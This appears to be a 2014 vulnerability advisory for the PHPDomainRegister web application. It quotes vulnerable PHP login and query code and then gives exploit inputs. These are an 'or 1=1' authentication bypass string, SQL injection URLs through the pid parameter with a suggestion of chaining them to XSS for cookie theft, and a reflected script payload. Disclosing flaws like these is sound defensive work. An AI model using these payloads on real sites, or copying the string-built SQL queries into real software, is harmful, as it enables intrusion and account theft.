PHPDomainRegister 0.4a-RC2-dev - Multiple Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType

PHPDomainRegister 0.4a-RC2-dev Multiple Vulnerabilities including SQL Auth Bypass, SQL injection, and Cross Site Scripting [xss


                                                Title    = PHPDomainRegister v0.4a-RC2-dev =&#62; [SQL Auth][SQL Inject][XSS]
Author   = Or4nG.M4n
Download = http://garr.dl.sourceforge.net/project/phpdr/v0.4b%20-%20RC2.rar

This Bug Powered By : GooGLe
Thnks :
+----------------------------------+
|   xSs m4n i-Hmx Cyber-Crystal    |
|   Dr.Bnned ahwak2000 sa^Dev!L    |
+----------------------------------+

                                       SQL Auth Bypass
vuln : class_AjaxLogin.php line 73

  function is_login() { &#60;&#60;&#60;&#60;==== 1
        include (&#39;../config.php&#39;); &#60;&#60;&#60;&#60;==== 2
  if(isset($_POST[&#39;username&#39;]))  { &#60;&#60;&#60;&#60;==== 3
  $_SESSION[&#39;username&#39;]   = $_POST[&#39;username&#39;]; &#60;&#60;&#60;&#60;==== 4
		 $password   = $_POST[&#39;password&#39;]; &#60;&#60;&#60;&#60;==== 5
		 $strSQL     = &#60;&#60;&#60;&#60;==== 6
                     &#34;SELECT 
                                *
                        FROM
                                `&#34;.$_SQL_PREFIX . $USER_Table_Name.&#34;`
				        WHERE
				                `LOGIN_NAME` = &#39;&#34;.$_SESSION[&#39;username&#39;].&#34;&#39;
				        AND
				                password = md5(&#39;&#34;.$password.&#34;&#39;);&#34;; &#60;&#60;&#60;&#60;==== 7

            $result  = mysql_query ($strSQL); &#60;&#60;&#60;&#60;==== 8
			$row     = mysql_fetch_row($result); &#60;&#60;&#60;&#60;==== 9
		    $exist   = count($row); &#60;&#60;&#60;&#60;==== 10
		if($exist &#62;=2) { $this-&#62;jscript_location();  } &#60;&#60;&#60;&#60;==== 11
		
		[jscript_location]
		
		  function jscript_location() { &#60;&#60;&#60;&#60;==== 12
            $this-&#62;set_session(); &#60;&#60;&#60;&#60;==== 13
        echo &#34;&#60;script&#62; $(&#39;#container&#39;).fadeOut();window.location.href=&#39;&#34;.SUCCESS_LOGIN_GOTO.&#34;&#39;&#60;/script&#62;&#34;; &#60;&#60;&#60;&#60;==== 14
  

How i can Exploit this bug : 
just login as = &#62; admin &#39; or 1=1 #

                                      SQL injection
vuln
admin/index.php line 212

$sql = &#34;SELECT name, price, disc, disc2, webspace FROM &#34;.$_SQL_PREFIX.&#34;packages WHERE `id` = &#34;.$_GET[&#39;pid&#39;].&#34;;&#34;; &#60;&#60;&#60;&#60;==== 1
$getpack = mysql_query($sql); &#60;&#60;&#60;&#60;==== 2

line 1079

        showPacket($pid); &#60;&#60;&#60;&#60;==== 3
								  
vuln
index.php line 617
 
    $SQL = &#34;SELECT * FROM &#34;.$_SQL_PREFIX.&#34;packages where id = &#34;.$_GET[&#39;pid&#39;].&#34;&#34;; &#60;&#60;&#60;&#60;==== 1
    $result = mysql_query($SQL); &#60;&#60;&#60;&#60;==== 2

Exploit Here :
index.php?usetype=domainauswahl&pid=%injectionhere%&use=Details
admin/index.php?show=showPacket&pid=%injectionhere% Sql to xss to get cookie


	                                 Cross Site Scrpting [xss]
admin/index.php?show=domains&do=delFirmadomains&domain=&#60;script&#62;alert(7);&#60;/script&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1